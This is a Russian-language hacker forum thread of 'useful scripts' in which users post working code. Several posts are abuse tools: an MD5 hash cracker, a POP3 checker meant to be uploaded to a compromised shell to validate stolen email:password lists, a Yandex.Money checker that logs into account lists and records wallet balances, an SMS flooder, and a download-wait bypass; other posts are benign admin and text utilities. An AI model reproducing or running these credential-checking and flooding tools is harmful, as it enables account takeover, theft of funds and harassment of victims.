Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    Скрипт для расшифровки MD5
    PHP:
    # Perl 
    # Md5 MultiCracker 
    # Author : Cod3rZ 
    # Usage : perl md5.pl [hash] 
    # Usage: perl md5.pl 27d34b40d7adafe2e00c3503543e0ca9 
    # Thanks to GrabberGhost 

    use LWP::UserAgent
    use 
    HTTP::Request::Common

    system("cls"); 
    print 
    q{ --------------------------------------------------------------------- 
                             :: 
    Md5 MultiCracker :: 
     --------------------------------------------------------------------- 
     
    Author Cod3rZ 
     Email  
    songforthemoment@yahoo.it 
     Site   
    http://cod3rz.helloweb.eu 
     
    --------------------------------------------------------------------- 
    }; 
    $hash $ARGV[0]; 
    chomp($hash); 

       if(!
    $hash) { 
    print 
    qUsageperl md5.pl [hash
     
    Usageperl md5.pl 27d34b40d7adafe2e00c3503543e0ca9 
     
    --------------------------------------------------------------------- 
    }; 
    } else { 

    $lwp LWP::UserAgent->new

    #Milw0rm 

    $ua $lwp->request(POST 'http://www.milw0rm.com/cracker/search.php'

    hash => "$hash"
    Submit => 'Submit'
    ]); 
    @
    content split(/[n]/, $ua->content); 
    @
    password split( /[><]/, $content[46]); 
    if(
    $password[1]) { print " Password cracked: $password[1] \n ---------------------------------------------------------------------"; } 
    else { 


    #Rednoize 

    $red $lwp->request(GET 'http://md5.rednoize.com/?p&s=md5&q='.$hash); 
    $content $red->content
    if(
    $content) { 
    print 
    " Password cracked : $content \n ---------------------------------------------------------------------"
    } else { 


    #GdataOnline 

    $gdo $lwp->request(GET 'http://gdataonline.com/qkhash.php?mode=xml&hash='.$hash); 
    @
    content split(/<result>/, $gdo->content); 
    @
    password split( /[><]/, $content[1]); 
    if(@
    password[0]) { 
    print 
    " Password cracked: @password[0]\n ---------------------------------------------------------------------"

    else { print 
    " Password Not Cracked\n ---------------------------------------------------------------------"; } 
     } } }
     
  2. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    Скрипт для чеканья мыла на валидность...
    на входе mail.txt: user@host.ex:пароль
    Чекает mail.ru, rambler.ru, yandex.ru, list.ru, bk.ru ... и многие другие, где pop сервер лежит по адресу pop.host.ex:110
    На выходе в директории скрипта лежит ok.mail и err.mail


    PHP:
    //////////////////////////////////////////////////////////
    //                            //
    //    Скрипт для чеканья мыла на валидность!        //  
    //    Заливаем на Shell скрипт и файл mail.txt     //
    //    Формат mail.txt  mail@host.ex:password        //
    //      Чекает только мыла, у которых pop3 сервер    //
    //    располжен на pop.host.ex:110            //
    //      На выходе создаются 2 файла:            //
    //         ok.mail и err.mail             //
    //                Created by 5hr4M...    //
    //                            //
    //////////////////////////////////////////////////////////
    <?php
    error_reporting
    (0);
    $in=fopen("mail.txt","r");
    if(!
    $in) {
        echo 
    "mail.txt not found...<br>";
        exit();
      }
      while(!
    feof($in)) 
       {    
        
    $host='';
         
    $str='';
        
    $user='';
        
    $pass='';
        
    $str=fgets($in,128);
            
    $pos[1]=strpos($str,'@'); 
        
    $pos[2]=strpos($str,':');
            
    $host='pop.'.substr($str,$pos[1]+1,$pos[2]-$pos[1]-1);
        
    $pos[3]=strpos($host,' ');
            if (
    $pos[3]) $host=substr($host,0,$pos[3]);
            
    $user=substr($str,0,$pos[1]);
            
    $pass=substr($str,$pos[2]+1);
           
    connect ($host,$user,$pass); 
       }
    echo 
    "End<br>";
    fclose($in); 

    function 
    connect($host,$user,$pass){
    $fp fsockopen($host110, &$errno, &$errstr30);
    fputs($fp,"USER $user\n");
    $resp=fgets($fp,1024);
     if (
    $resp[0]=='+')
         {
            
    fputs($fp,"PASS $pass\n");
            
    $resp=fgets($fp,1024);
             if (
    $resp[0]=='+')
                     {
                    @
    $out=fopen("ok.mail","a");
                      
    $mg=$user '@' substr($host,4). ':' $pass;
                      echo 
    $mg.'<br>';
                    @
    fputs($out,$mg);
                    @
    fclose($out);
                     }else
                    {
            
    //        echo 'Pass failure';
                    
    @$out=fopen("err.mail","a");
                      
    $mg=$user '@' substr($host,4). ':' $pass;
                      @
    fputs($out,$mg);
                    @
    fclose($out);
                    }

         }else
        {
            
    //echo 'User failure';
                    
    @$out=fopen("err.mail","a");
                      
    $mg=$user '@' substr($host,4). ':' $pass;
                      @
    fputs($out,$mg);
                    @
    fclose($out);
        }
     
    fputs($fp,"QUIT\n");
     
    $resp=fgets($fp,1024);
    fclose($fp);
    }
    ?>
     
  3. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    proxy.php:
    PHP:
    <?php
    ############
    #    Граббер проксей с ip-whois.net
    #    (ип;порт;дата;страна;анонимная/прозрачная) 
    #    запись натыренного в файл (proxy.html)
    #    (c) Failure
    ############
    error_reporting(0);
    set_time_limit(30);
    if(!
    file_exists("proxy.html")) include("get_proxy.php");

     
    $f fopen("proxy.html","r");
       
    $buff fread($ffilesize("proxy.html"));
       
    $buff strstr($buff"<table width = 100%>");
       
    $bad strstr($buff"</tr></table></p>");
       
    $buff str_replace($bad""$buff);
     
    fclose($f);
     echo 
    $buff;
     if(
    file_exists("proxy.html")) unlink("proxy.html");
     
    $f fopen("proxy.html","a+");
       
    fwrite($f$buff);
     
    fclose($f);
    ?>
    get_proxy.php
    PHP:
    <?php
     $sock 
    fsockopen("ip-whois.net"80$bla$bla2);

     
    $out "GET /proxy.php HTTP/1.1\r\n";
     
    $out .= "Host: ip-whois.net\r\n";
     
    $out .= "Content-Type: text/html\r\n";
     
    $out .= "Referer: http://ip-whois.php/index.php\r\n\r\n";
     
     
    fwrite($sock$out);

     if(
    file_exists("proxy.html")) unlink("proxy.txt");

     
    $fproxy fopen("proxy.html","a+");

     while(!
    feof($sock)) fwrite($fproxyfgets($sock1000));

     
    fclose($sock);fclose($fproxy);
    ?>
     
  4. prosecuto

    prosecuto New Member

    Joined:
    12 Sep 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Yahoo mail

    Sajeys,

    Как сие чудо прикрутить для почты на Yahoo?
     
  5. itester

    itester Member

    Joined:
    18 Sep 2010
    Messages:
    3
    Likes Received:
    11
    Reputations:
    10
    качаем с depositfiles
    рядом с таймером до окончания времени появиться кнопка скачать
    PHP:
    javascript:download_url.setAttribute("style","display:block;");
    просто выводим ссылку
    PHP:
    javascriptdl=document.forms[1].action;document.write('<a href="'+dl+'">'+dl+'</a>');
    удобно сделать букмарклет (забить код в закладку)

    простой флудер смсками, с одинаковым текстом подтверждения телефона
    регистрируемся на сайте http://www.online-organizer.ru/
    пишем в своем профиле номер кому слать, заливаем скрипт на хостинг с курл, например в опытах использовался этот
    http://www.freewebhostingarea.com/


    PHP:
    <?php
    $n 
    5// сколько смс слать 
    $login='test';
    $pass='12345';
    $zz=urlencode("Отправить код активации");
    $pf1='form=accountlogin&account_login='.$login.'&account_password='.$pass;
    $pf2='form=accountconfirmtelsend&submit='.$zz;
    $url "http://www.online-organizer.ru/?section=account&action=login";
    $ch curl_init(); 
    curl_setopt($chCURLOPT_URL,$url); 
    curl_setopt($chCURLOPT_FAILONERROR1);
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
    curl_setopt($chCURLOPT_TIMEOUT3);
    curl_setopt($chCURLOPT_POST1); 
    curl_setopt($chCURLOPT_POSTFIELDS$pf1); 
    curl_setopt($chCURLOPT_COOKIEJAR"my_cookies.txt");  
    $result curl_exec($ch); // авторизуемся
    curl_setopt($chCURLOPT_URL,'http://www.online-organizer.ru/?section=account&action=confirmtel');
    curl_setopt($chCURLOPT_COOKIEFILE"my_cookies.txt");
    curl_setopt($chCURLOPT_POSTFIELDS$pf2);
    for (
    $i 0$i $n$i++)
    {
    $result2 curl_exec($ch); // флудим
    sleep(3);
    }
    //$result2 = curl_exec($ch); 
    curl_close($ch); 
    ?>

     
    #1005 itester, 18 Sep 2010
    Last edited: 18 Sep 2010
    1 person likes this.
  6. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    yandex money balance checker
    Code:
    #!/usr/bin/perl
    
    use LWP::UserAgent;
    use HTTP::Cookies;
    
    ######################
    #writen#by#popkorn####
    ######################
    
    $url['0'] = 'http://passport.yandex.ru/passport?mode=auth';
    $url['1'] = 'http://money.yandex.ru/';
    $proxy = '89.110.23.94:5141'; # if u don't need proxy, just set # before this line
    
    my $ua = LWP::UserAgent->new;
    my $cookie_jar = HTTP::Cookies->new;
    
    $ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.2 (build 01102))');
    
    push @{ $ua->requests_redirectable }, 'POST';
    
    if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
    $ua->proxy('http', "http://$proxy/"); };
    
    open(ACCS, "<accs.txt");
    open(LOG, ">logs.txt");
    
    @accs = <ACCS>; close (ACCS);
    
    foreach (@accs){
    
    ($login, $pass) = split(':',$_);
    
    $pass =~ s/ |\n//;
    
    
    $ua->cookie_jar($cookie_jar);
    
    $ua->post( $url['0'],
    [login => $login,
    passwd => $pass]);
    
    my $response = $ua->post($url['1']);
    
    $content = $response->content;
    
    $sum = 'koshel\'ka net';
    
    while( $content =~/<a href="\/history\.xml" class="in">В Кошельке<\/a><br><span class="sum"><nobr>(\d+,\d+)/g){$sum = $1};
    
    print LOG "$login:$pass:$sum\n";
    print "$login:$pass:$sum\n";
    $sum = '0 =(';
    
    $cookie_jar->clear_temporary_cookies;
    
    }
    
    close (LOG);
     
  7. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    [Python] Счетчик Строк

    [Python] Элементарный скрипт для подсчета строк в файлах.
    Пригодится для проверки говночекеров, да и вообще так (по крайней мере мну сегодня пригодился):)
    Скрипт с гуем, пэтому требует Tkinter (на windows стоит по умолчанию)
    В режиме "Без дублей" файл грузится в оперативку, поэтому поаккуратнее там
    Скрин:
    [​IMG]

    Code:
    #!usr/bin/env python
    # -*- coding:utf-8 -*-
    # files length counter
    # (c) login999
    
    from Tkinter import *
    from tkMessageBox import showerror
    from tkFileDialog import askopenfilename
    LastCounter = 0
    NowCounter = 0
    AllCounter = 0
    
    def Count():
        global LastCount
        global NowCount
        global AllCount
        global AllCounter
        global NowCounter
        global LastCounter
        LastCounter = NowCounter
        NowCounter = 0
        try:
            with open(askopenfilename()) as accs:
                for _ in accs:
                    NowCounter += 1
                    AllCounter += 1
            LastCount["text"] = LastCounter
            NowCount["text"] = NowCounter
            AllCount["text"] = AllCounter
        except Exception, e:
            showerror(u"Ошибка", e)
            
    def NODUP():
        global LastCount
        global NowCount
        global AllCount
        global AllCounter
        global NowCounter
        global LastCounter
        LastCounter = NowCounter
        NowCounter = 0
        try:
            with open(askopenfilename()) as accs:
                for _ in set(accs):
                    NowCounter += 1
                    AllCounter += 1
            LastCount["text"] = LastCounter
            NowCount["text"] = NowCounter
            AllCount["text"] = AllCounter
        except Exception, e:
            showerror(u"Ошибка", e)
            
    def Clear():
        global LastCount
        global NowCount
        global AllCount
        global AllCounter
        global NowCounter
        global LastCounter
        NowCounter = 0
        LastCounter = 0
        AllCounter = 0
        LastCount["text"] = LastCounter
        NowCount["text"] = NowCounter
        AllCount["text"] = AllCounter
    
    MainWindow = Tk()
    MainWindow["bd"] = 5
    MainWindow.title(u"Счетчик Строк")
    MainWindow.resizable(width=False, height=False)
    ButtonsFrame = Frame(MainWindow)
    CountButton = Button(ButtonsFrame, text=u"Посчитать", width=11, command=Count)
    NODUPButton = Button(ButtonsFrame, text=u"Без дублей", width=11, command=NODUP)
    ClearButton = Button(ButtonsFrame, text=u"Очистить", width=11, command=Clear)
    CountButton.grid(row=0, column=0)
    NODUPButton.grid(row=1, column=0)
    ClearButton.grid(row=2, column=0)
    ButtonsFrame.grid(row=0, column=0, sticky="w")
    LinesLabel = LabelFrame(MainWindow, text=u"Количество строк")
    LastLabel = Label(LinesLabel, text=u"Последний :", anchor="w", width=12)
    LastCount = Label(LinesLabel, text=LastCounter, width=8)
    NowLabel = Label(LinesLabel, text=u"Нынешний :", anchor="w", width=12)
    NowCount = Label(LinesLabel, text=NowCounter, width=8)
    AllLabel = Label(LinesLabel, text=u"Всего :", anchor="w", width=12)
    AllCount = Label(LinesLabel, text=AllCounter, width=8)
    LastLabel.grid(row=0, column=0)
    LastCount.grid(row=0, column=1)
    NowLabel.grid(row=1, column=0)
    NowCount.grid(row=1, column=1)
    AllLabel.grid(row=2, column=0)
    AllCount.grid(row=2, column=1)
    LinesLabel.grid(row=0, column=1, sticky="w")
    MainWindow.mainloop()
    
     
  8. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    Этот скрипт сохраняет информацию о посетителях вашего сайта (дата, время,host name, IP-адрес и т.д.),затем он отсылает вам эту информацию по E-mail.

    PHP:
    #! /usr/local/bin/perl


    #                              mail-log.cgi
    #
    #                    Version 2.03   --   27 Jan 1997
    #                   http://www.all-yours.net/scripts/
    #             Perl (release 4 or 5) script for Unix servers


    #     Written by Walter Soldierer of All-Yours Internet Solutions
    #               (hermes@all-yours.net), one of the authors of
    #
    #                          THE DIGITAL POSTCARD
    #
    #           A FREE service to increase your web site's exposure!
    #                            Need more hits?
    #            Check it out at http://www.all-yours.net/postcard/


    # This script saves access date+time, the visitor's host name, their IP
    # address and browser type, and the refering page (if any) to a log file
    # on your server (default name = logfile.txt). This file will be automatically
    # mailed to your mailbox. You can change the mailing interval according
    # to your needs (default value is every 50 accesses to the page to be
    # logged). The script will autocreate the logfile, if it does not exist.


    # ----- BEGIN INSTALLATION INSTRUCTIONS -----
    #  - Save this script to a file mail-log.cgi
    #  - Cut installation instructions (optional)
    #  - Change the first script line, if your server's Perl executable
    #    is not located in /usr/local/bin/perl
    #  - Customize the settings below (*SETTINGS*)
    #    * Change e-mail address for $recipient
    #    * Set $log_page to 1 if you also want to log the page that
    #      called this script. Recommended in case you want to log accesses
    #      to more than one HTML page.
    #    * Set $max_entries to your needs, if you want to have more or less
    #      than 50 log entries mailed to your mailbox each time.
    #    * Change path/filename for log file, if necessary
    #      (default = logfile.txt in your cgi directory)
    #    * Change values for $check_host and $interval, if necessary
    #    * Change filename for host/time file, if necessary (default = hosttime.txt)
    #  - ASCII-upload mail-log.cgi to your cgi directory (cgi-bin, cgi-local...)
    #    Make it executable (chmod mail-log.cgi 755)
    #  - add the following line (Server Sde Include) to the page(s) to be logged
    #    (after the <body> tag):
    #    <!--#exec cgi="/your-cgi-directory/mail-log.cgi"-->
    #    HTML pages with Server Side Include tags often need to have the
    #    file extension ".shtml" !!!! (don't forget to update
    #    all links to this page(s) accordingly)
    #    (You should test the script with a test.shtml page first)
    #  - Load the logged page(s) with your browser.
    #  - View your new logfile
    #    It should look something like this:
    #    
    #    Time: 05/30/96 14:44:07 EDT
    #    Host: your.host.and.domain
    #    Addr: 123.45.67.89
    #    With: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
    #    Page: test.shtml
    #    From: [no entry here, if you accessed your page directly (otherwise Yahoo etc.)]
    #
    #    If the script doesn't work and you want to contact us, please check
    #    the following first:
    #    - did you upload the script in ASCII mode (*not* binary)?
    #    - did you chmod the script 755
    #    - does your server support the "exec cgi" Server Side Include?
    #    - did you rename the html file to .shtml
    #    - did you check the path to your server's Perl executable?
    #
    #    If you still have a problem and you want us to help you, we need to know:
    #     - a detailed description of your problem
    #     - your script's settings section
    #     - html code and file name for the page to be logged
    #     - script related error messages from your server's error log file
    # ----- END INSTALLATION INSTRUCTIONS -----



    # -----------------------------------------------------------------------
    # *SETTINGS* to customize this script:

    # Your email address (within single quotes!):
    $recipient 'xxxx@yyyy.com';

    # Do you want to log the .shtml page's file name?
    # (recommended when more than one poage is logged)
    # 1 = the .shtml page that called this script will be logged
    # 0 = the .shtml page that called this script will not be logged
    $log_page 1;

    # Do you want to log your visitor's IP number?
    # The script attemps to call a domain name server in order to resolve
    # IP addresses (such as 132.45.323.5) to a host name (such as yourdomain.com)
    # However, resolving IP addressses doesn't work 100 per cent so you
    # might also want to log rhe IP addresses.
    # 1 = IP addresses will be logged
    # 0 = IP addresses will be discarded
    $log_IP 1;

    # Number of logged visits mailed to your mailbox at a time:
    $max_entries 50;

    # Change logfile name if necessary:
    $logfile 'logfile.txt';

    # server's sendmail directory:
    $mailprogam '/usr/lib/sendmail';

    # If you set $check_host = "1" the script attempts not
    # to log multiple page reloads.
    # When a page was accessed from the same host by using the same
    # browser, this visit will only be logged after the time 
    # interval specified in $interval.
    # Example: You set $interval to 1800 (seconds). If there was no
    # access from a different host in the meantime, a visitor from the
    # same host who uses the same browser will only be logged when s/he
    # accesses your page 30 minutes after visitor one.
    # In other words: If someone reloads the page many times, in most cases
    # s/he needs to wait 30 minutes after each reload to make your log file
    # grow. When you set $check_host to 0 even the reloads will be logged.
    $check_host 1;  # set to zero if you don't like this feature

    # If you set the $check_host variable to 1, specify a time interval to
    # ignore page reloads
    $interval 600;   # seconds!

    # If you set the $check_host variable to 1, change the name of the file
    # that temporarily stores host and time information (if necessary)
    $hostfile 'hostfile.txt';




    # don't change anything past this line unless you know what you are doing
    # -----------------------------------------------------------------------

    # create a date+time string
    $shortdate = `date +"%D %T %Z"`; 
    chop ($shortdate);

    # Some of Perl's network info functions required here
    ($part1,$part2,$part3,$part4)=split(/\./,$ENV{REMOTE_ADDR});
    $IP_adr=pack("C4",$part1,$part2,$part3,$part4);
    (
    $host_name)=(gethostbyaddr("$IP_adr"2));

    print 
    "Content-type: text/plain\n\n";

    if (
    $check_host) {
       
    # read host and time info from last visitor
       
    if (-"$hostfile") {
          
    open(HOST,"$hostfile");
          
    $hostline = <HOST>;
          
    chop($hostline) if $hostline =~ /\n$/;
          
    close(HOST);
          (
    $old_time,$old_number,$old_page,$old_browser) = split(/\|/,$hostline);
       }

       
    # save host and time info and check if this is a page reload
       
    open(HOST,">$hostfile");
       
    $seconds time;
       print 
    HOST "$seconds\|$ENV{REMOTE_ADDR}\|$ENV{'DOCUMENT_URI'}\|$ENV{'HTTP_USER_AGENT'}";
       
    close(HOST);

       if (
    time $old_time $interval
       
    && $ENV{REMOTE_ADDReq $old_number
       
    && $ENV{'DOCUMENT_URI'eq $old_page
       
    && $ENV{'HTTP_USER_AGENT'eq $old_browser) {
          exit;  
    # probably same visitor, so exit
       
    }
    }

    # open log file for output and append new log data
    open (LOGFILE">>$logfile");
    print 
    LOGFILE "Time: $shortdate\n";
    print 
    LOGFILE "From: $ENV{'HTTP_REFERER'}\n";
    print 
    LOGFILE "IP  : $ENV{REMOTE_ADDR}\n" if $log_IP;
    print 
    LOGFILE "Host: $host_name\n";
    print 
    LOGFILE "With: $ENV{'HTTP_USER_AGENT'}\n";
    print 
    LOGFILE "Page: $ENV{'DOCUMENT_URI'}\n" if $log_page;
    print 
    LOGFILE "\n";
    close (LOGFILE);

    # open log file for input and count log entries
    open (LOGFILE$logfile);
    @
    entries = <LOGFILE>;
    close (LOGFILE);
    $log_rows 7;
    $log_rows-- unless $log_page;
    $log_rows-- unless $log_IP;
    $log_count = @entries/$log_rows;

    # if number of logs >= max. number of logs, mail file and delete it
    if ($log_count >= $max_entries) {
       
    open (MAIL"|$mailprogam $recipient") || die "Can't open $mailprogam!\n";
       print 
    MAIL "Subject: Mail-log File\n\n";
       print 
    MAIL "@entries\n";
       
    close MAIL;

       
    unlink $logfile;
    }

    # end of script

    Скрипт выполняет множество функций для администрирования Unix сервера.

    PHP:
    #!/usr/bin/perl5
    #
    # +---------------------------------------------------------------------+
    # | sysdaemon                                                           |
    # | Written By   : Trans-Euro I.T Ltd                                   |
    # | Written On   : July 27th 1997                                       |
    # |                                                                     |
    # | Purpose        System monitor                                       |
    # |                Reads the contents of :-                             |
    # |                /usr/local/etc/sysdaemon/daemontab                   |
    # |                the daemon names present are scanned for the results |
    # |                being written back to :-                             |
    # |                /var/log/sysmon.REPORT                               |
    # |               If a failure occurs the appropriate support team are  |
    # |               contacted by email.. also if any filestore partition  |
    # |               reaches 99%, a pager message can also be sent.        |
    # |               This daemon replaces sysmon, which was written in     |
    # |               korn shall/bash.                                      |
    # |               On recieving a kill -HUP signal the daemon will       |
    # |               re-read its config file.                              |
    # |               The definable nature of this daemon means...          |
    # |               There is NO user changeable code.                     |  
    # +---------------------------------------------------------------------+
    # | (c) 1997 This script is the intellectual property of                |
    # | Trans-Euro I.T Ltd                                                  |
    # +---------------------------------------------------------------------+
    use Config;

    $VERSION="1.40";
    $PROGRAM="sysdaemon";

    $hup=0;

    $pidfile="/var/run/sysdaemon.pid";
    $tab="/usr/local/etc/sysdaemon/daemontab";
    $report="/var/log/sysmon.REPORT";
    $date=get_date();
    $time=get_time();
    $node=`uname -n`;
    $daemon_name="";
    $status="";
    $work1="/tmp/sysdaemon1.$$";
    $work2="/tmp/sysdaemon2.$$";
    $mailprog='/usr/sbin/sendmail';
    $support="support\@svr1.marketrends.net";
    $filesystem="";
    $capacity="";
    $fstat="";

    @
    daemontable="";
    @
    proc="";
    @
    fstab="";

    format SYSDAEMON =
    @<<<<<<<<<<<<<<<<<< : 
    daemon is @<<<<<<<<<<<<<<<<<<<<<<<<:Status is @<<<<
    $time                           $daemon_name                        $status 
    .

    format SYSDAEMONHUP =
    @<<<<<<<<<<<<<<<<<< : 
    HUP re-reading @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
    $time                                $tab
    .

    format SYSDAEMONFS =
    @<<<<<<<<<<<<<<<<<< : @<<<<<<<<<<<<<<<<<<< : @<<<<       : @<<<<
    $time                 $filesystem            $capacity     $fstat
    .

    unless ( -"$tab") { die "$tab is either missing or empty !!\n";}
                     
    read_daemontab();
            
    unless (fork) {
     
    unless (fork) {
       
    sleep1 until getppid == 1;

    # +---------------------------------------------------------------------+
    # | Main Daemon control loop                                            |
    # +---------------------------------------------------------------------+

       
    write_pid();
       
    write_report_header();
           
       while ( ! 
    $daemon_control) {

             
    # +---------------------+
             # | Catch signals here! |
             # +---------------------+

             
    $SIG{HUP} = \&hup;
             if (
    $hup) { read_daemontab();$hup=0;}

             
    # +---------------------+
             # | main process loop   |
             # +---------------------+

             
    $SIG{HUP} = \&hup;
            
             
    $date=get_date();
             
    $time=get_time();
             
    gather_process_info();
             
    scan_process();          
             
    check_filestore();

             
    unlink($work1);
             
    unlink($work2);
             
    sleep 300;
                                  }
                
     exit 
    0;
                   }
    exit 
    0;
                  }

    # +---------------------------------------------------------------------+
    # | Sub programs                                                        |
    # +---------------------------------------------------------------------+

    sub hup {
      
    $hup=1;
     }

    # +---------------------------------------------------------------------+

    sub read_daemontab {

    if (
    $hup eq "1") { log_hup();}

    open(T,"$tab") || die "Cannot open $tab!\n";
    @
    daemontable=<T>;
    close(T);

    foreach 
    $EOF (@daemontable) {
       
    $_=$EOF;
       
    s/\012//g;
       
    $EOF=$_;}
    }

    # +---------------------------------------------------------------------+

    sub write_pid {
    open(PID,">$pidfile") || die "Cannot open $pidfile!!\n";
    print 
    PID $$;
    close(PID);
    }

    # +---------------------------------------------------------------------+

    sub get_date {
    my $date=`date`;
    $_=$date;
    s/\012//g;
    $date=$_;
    return 
    $date;
    }

    # +---------------------------------------------------------------------+

    sub write_report_header {
    open(REP,">$report")|| die "Cannot open $report!!\n";
    print 
    REP "--------------------------------------------------------\n";
    print 
    REP "$PROGRAM : $VERSION starts at $date\n";
    print 
    REP "Trans-Euro I.T (c) 1997.\n";
    print 
    REP "Written by Stephen Martin\n";
    print 
    REP "--------------------------------------------------------\n";
    close(REP);


    # +---------------------------------------------------------------------+

    sub get_time {
    my $time=`date +"%D : %T"`;
    $_=$time;
    s/\012//g;
    $time=$_;
    return 
    $time;
    }

    # +---------------------------------------------------------------------+

    sub gather_process_info {
    open(WORK1,"|ps -ax > $work1")|| die "Cannot gather process info!\n";
    close(WORK1);
    open(WORK1,"$work1")|| die "Cannot read process workfile!\n";
    @
    proc=<WORK1>;
    close(WORK1);
    }

    # +---------------------------------------------------------------------+

    sub scan_process {
    foreach 
    $dproc (@daemontable){
       (
    $daemon,$daemon_name)=split(/:/,$dproc);
       if ( 
    grep /$daemon/, @proc ) {log_daemon_status("$daemon_name","up");}
       else { 
    log_daemon_status("$daemon_name","down");
              
    mail_support("$daemon_name");}
                                 } 
       
    }

    # +---------------------------------------------------------------------+

    sub log_daemon_status {
        
    my ($daemon_name,$state) = @_;
        
    $status=$state;
        
    open(SYSDAEMON,">>$report")|| die "Cannot log results to $result!\n";
        
    write SYSDAEMON;
        
    close(SYSDAEMON);
    }

    # +---------------------------------------------------------------------+

    sub log_hup {
        
    open(SYSDAEMONHUP,">>$report")|| die "Cannot log HUP call to $result!\n";
        
    write SYSDAEMONHUP;
        
    close(SYSDAEMONHUP);
    }

    # +---------------------------------------------------------------------+

    sub mail_support {

         
    my ($d_name) = @_;
     
         
    $d_name;

         
    open (MAIL"| $mailprog $support") || die "Can't open $mailprog!\n";
         print 
    MAIL "To: $support\n";
         print 
    MAIL "From:$PROGRAM\n";
         print 
    MAIL "Subject:$PROGRAM : $d_name failure\n";
         print 
    MAIL  "------------------------------------------------------\n\n";
         print 
    MAIL "$PROGRAM has detected $d_name missing on $node";
         
    close (MAIL);
    }

    # +---------------------------------------------------------------------+

    sub check_filestore {
    local $line,$d1,$d2,$d3,$d4,$fs;
    open(DF,"|df > $work2")||die "Cannot df!\n";
    close(DF);

    open(DFW,"$work2")||die "Cannot open $work2!\n";
        while(<
    DFW>) {
                      @
    fstab=<DFW>; 
                     }
    close(DFW);

    foreach 
    $line (@fstab) {
             (
    $d1,$d2,$d3,$d4,$lim,$fs)=split(/\ {1,}/,$line);
                 if ( 
    $lim gt "98%" ) { 
                      
    log_fs("$fs","$lim","Full");
                      
    mail_support_fs("$fs","$lim","Full");
                      } else { 
    log_fs("$fs","$lim","Ok")};
                          }                       

    }

    # +---------------------------------------------------------------------+

    sub log_fs {
        
    my ($l1,$l2,$l3) = @_;
        
    $fstat="$l3";
        
    $filesystem=$l1;
        
    $capacity=$l2;
    open(SYSDAEMONFS,">>$report") || die "Cannot open $report to log fs full\n";
    write SYSDAEMONFS;
    close(SYSDAEMONFS);
    }

    # +---------------------------------------------------------------------+


    sub mail_support_fs {

        
    my ($l1,$l2,$l3) = @_;
        
    $fstat="$l3";
        
    $filesystem=$l1;
        
    $capacity=$l2;

        
    open (MAIL"| $mailprog $support") || die "Can't open $mailprog!\n";
        print 
    MAIL "To: $support\n";
        print 
    MAIL "From:$PROGRAM\n";
        print 
    MAIL "Subject:$PROGRAM : Filestore $node Full $filesystem\n";
        print 
    MAIL  "------------------------------------------------------\n\n";
        print 
    MAIL "$PROGRAM has detected that the filesystem $filesystem";
        print 
    MAIL "on $node has become full.\n";
        print 
    MAIL "$filesystem is currently at $capacity.\n";
        
    close (MAIL);
    }

     
  9. 4upakabr0

    4upakabr0 Member

    Joined:
    14 May 2008
    Messages:
    124
    Likes Received:
    23
    Reputations:
    0
    Парсер текста из HTML. Выбирает всё, что вне HTML-тэгов. Банальщина, однако немного по-бодался с жадностью регулярок) Мб кому пригодиться:

    Code:
    open(F,"withhtml.txt");
    $str="";
    open(F2,">withouthtml.txt");
    while(<F>)
    {
    	$_=~s/<.+?>//gs;
    	$_=~s/&[a-z]+;//g;
    	$str=$str.$_;
    }
    $str=~s/\s+/ /g;
    print F2 $str;
    close(F2);
    Из строки
    HTML:
    Ж<font face="Tahoma"><span style="font-size: 13pt">анры 
    					в живописи</span></font></font></p>
    					<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;">
    					<font color="#FFD782"><span style="font-family: Tahoma">&nbsp;</span></font></p>
    					<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;">
    					<font color="#FFD782">
    					<span style="font-family: Tahoma; font-size: 10pt">Живопись 
    					достаточно четко разделяется по объектам изображаемого и по 
    					сюжетам полотен, и внутри каждой из этих групп также 
    					типологизированы конкретные отдельные жанры. Любой жанр 
    					может быть выполнен в той технике живописи, которая наиболее 
    					подходит конкретному художнику.</span></font></p>
    					<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;">
    					<font color="#FFD782">
    					<span style="font-family: Tahoma; font-size: 10pt">&nbsp;</span></font></p>
    					<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;">
    					<font color="#FFD782"><strong style>
    					<span style="font-family: Tahoma; font-size: 10pt">
    					Историческая живопись</span></strong></font></p>
    					<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;">
    					<font color="#FFD782">
    					<span style="font-family: Tahoma; font-size: 10pt">Живопись 
    					историческая представляет собой изображения определенных 
    					исторических моментов, а также некоторых важнейших деятелей 
    					общественной жизни прошлых веков. В исторической живописи 
    					выделяют такой вид, как батальная живопись, запечатлевающая 
    					сражения, битвы, войны.</span></font></p>
    					<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: justify;">
    					<font color="#FFD782">
    Сделает

     
  10. FindeR

    FindeR Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    623
    Likes Received:
    138
    Reputations:
    20
    А strip_tags не вариант?..
     
  11. 4upakabr0

    4upakabr0 Member

    Joined:
    14 May 2008
    Messages:
    124
    Likes Received:
    23
    Reputations:
    0
    Но ведь Perl же.
     
  12. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
